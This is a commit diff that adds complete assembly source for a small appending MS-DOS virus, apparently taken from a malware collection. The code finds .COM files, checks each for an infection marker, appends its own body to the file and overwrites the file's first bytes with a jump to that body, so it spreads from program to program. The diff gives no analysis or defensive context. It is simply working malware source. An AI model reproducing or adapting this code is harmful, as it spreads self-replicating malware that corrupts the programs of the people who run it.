re-organize

push

MSDOS/A-Index/Virus.MSDOS.Unknown.append.asm

@@ -0,0 +1,98 @@
+;Small appending virus - 143 bytes
+
+CSEG	SEGMENT
+	ASSUME	CS:CSEG, DS:CSEG
+
+		ORG	100h
+
+Virus_Length	equ	End_Virus-Begin_Virus
+
+Start:
+		db	'M',0e9h,0,0
+
+Begin_Virus:
+		call	Delta
+
+Delta:
+		pop	bp
+		sub	bp,offset Delta
+		push	si
+		push	si
+
+		mov	ah,1ah
+		lea	dx,[bp+DTA]
+		int	21h
+
+		pop	di
+		lea	si,[bp+OldBytes]
+		movsw
+		movsw
+
+		mov	ah,4eh
+		mov	cx,7h
+		lea	dx,[bp+ComMask]
+
+Find_Next:
+		int	21h
+		jc	Return
+
+		mov	ax,3d02h
+		lea	dx,[bp+DTA+1eh]
+		int	21h
+
+		xchg	ax,bx
+
+		mov	ah,3fh
+		mov	cx,4
+		lea	dx,[bp+OldBytes]
+		int	21h
+
+		cmp	byte ptr [bp+OldBytes],'M'
+		je	Close_Find_Next
+
+		mov	ax,4202h
+		xor	cx,cx
+		cwd
+		int	21h
+
+		sub	ax,4
+		mov	word ptr [bp+NewBytes+2],ax
+
+		mov	ah,40h
+		mov	cx,Virus_Length
+		lea	dx,[bp+Begin_Virus]
+		int	21h
+
+		mov	ax,4200h
+		xor	cx,cx
+		cwd
+		int	21h
+
+		mov	ah,40h
+		mov	cx,4
+		lea	dx,[bp+NewBytes]
+		int	21h
+
+Close_Find_Next:
+		mov	ah,3eh
+		int	21h
+
+		mov	ah,4fh
+		jmp	short Find_Next
+
+ComMask		db	"*.COM",0
+NewBytes	db	'M',0e9h,0,0
+OldBytes	db	0cdh,20h,0,0
+
+Return:
+		mov	ah,1ah
+		mov	dx,80h
+		int	21h
+
+		ret
+
+End_Virus:
+DTA		db	42 dup (?)
+
+CSEG	ENDS
+	END	START